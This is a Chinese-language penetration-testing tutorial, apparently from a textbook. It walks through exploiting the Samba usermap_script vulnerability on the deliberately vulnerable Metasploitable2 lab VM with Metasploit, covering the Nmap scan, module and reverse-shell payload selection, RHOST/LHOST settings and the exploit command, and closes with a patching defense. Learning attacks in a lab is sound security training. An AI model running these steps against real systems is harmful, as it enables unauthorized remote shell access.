每個作業系統都會存在各種Bug,像Windows這樣有版權的作業系統,微軟公司會快速地開發針對這些Bug或漏洞的補丁,併為使用者提供更新。全世界有大量的漏洞研究人員會夜以繼日地發現、研究新的Bug,這些沒有公佈補丁的Bug就是所謂的Oday漏洞。由於這種漏洞對網路安全具有巨大威脅,因此0day漏洞也成為黑客的最愛。實際上能夠掌握0day漏洞的黑客少之又少。
微軟公司會針對發現的Bug定期釋出補丁,但是否下載更新則取決於使用者自身。安全意識薄弱的個人使用者或者中小企業常會忽略這些工作,特別是在小公司中,從補丁釋出到伺服器打補丁需要數星期,雖然打補丁時會涉及機器的重啟或當機,對公司業績沒有幫助又增加了自身的工作量,但是未打補丁或補丁過期的作業系統對黑客而言是一個快樂的"天堂"。
下面就假設目標機是Metasploitable2,對Linux機器進行滲透攻擊。
Metasploitable2虛擬系統是一個特別製作的Ubuntu作業系統,主要用於安全工具測試和演示常見的漏洞攻擊。該虛擬系統相容VMware、VirtualBox和其他虛擬平臺, 預設只開啟一個網路介面卡並且開啟NAT和Host- Only。該工具可以在網站https://sourceforge.net/projects/metasploitable/files/Metasploitable2/下載。
首先對Linux目標機進行掃描,收集可用的服務資訊。使用Nmap掃描並檢視系統開放埠和相關的應用程式,如圖所示。
收集到目標機相關資訊後,為其選擇正確的Exploit和合適的Payload。從掃描結果中發現主機執行著Samba 3.x服務。Samba是在Linux和UNIX系統上實現SMB (Server Messages Block,資訊服務塊)協議的一款免費軟體。SMB是一種在區域網上共享檔案和印表機的通訊協議,它在區域網內使用Linux和Windows系統的機器之間提供檔案及印表機等資源的共享服務。
輸入msf> search samba
命令搜尋Samba的漏洞利用模組,並選擇合適的漏洞利用模組,如圖所示。
然後Samba服務將返回漏洞利用模組的列表,按照各個漏洞被利用成功的相對難易度進行排序。
因為exploit/multi/samba/usermap_script被標記為"Excellent" ,即最傑出而且時間是最新的,為提高滲透成功率,這裡選擇此模組進行接下來的滲透。
有關漏洞的詳細資訊可以通過如下圖所示的命令檢視。
輸入以下命令即可使用該漏洞模組
use exploit/multi/samba/usermap_script
然後可以看到Metasploit命令提示符msf>會變成msf exploit(usermap_script) > 。
使用如下圖所示的命令即可檢視該漏洞利用模組下可供選擇的攻擊載荷模組,因為目標是Linux機器,因此一定要選擇Linux的攻擊載荷。
這裡使用如下圖所示的命令選擇基礎的cmd/unix/reverse反向攻擊載荷模組。
設定被攻擊主機IP地址,命令如下所示。
msf exploit (usermap_script) > set RHOST 192.168.1.104
設定漏洞利用的埠號,命令如下所示。
msf exploit (usermap_script) > set RPORT 445
設定發動攻擊主機IP地址,命令如下所示。
msf exploit (usermap_script) > set LHOST 192.168.1.101
設定完可以使用show options
命令再次確認引數是否已設定正確。
設定完所有引數變數後,輸入攻擊命令exploit或者run,如下所示,發動攻擊。
msf exploit (usermap_ script) > exploit
MSF發動攻擊成功後會獲取目標主機的Shell,為了驗證該Shell是目標主機的,可以查詢主機名、使用者名稱和IP地址,並與目標主機進行對比,如圖所示。
攻擊成功後,可以看到在攻擊機和目標機之間會建立一個Shell連線,滲透Windows系統的過程類似,唯一的差別是選擇的漏洞利用模組和攻擊載荷模組不一樣。建議讀者多嘗試各種Exploit和Payload的組合,以加深理解。
防禦方法: Samba服務漏洞發生在Samba版本3.0.20 ~ 3.0.25rc3中,當使用非預設使用者名稱對映指令碼配置時,通過指定一個使用者名稱包含Shell元字元, 攻擊者可以執行任意命令。將Samba升級到最新版本即可防禦本漏洞。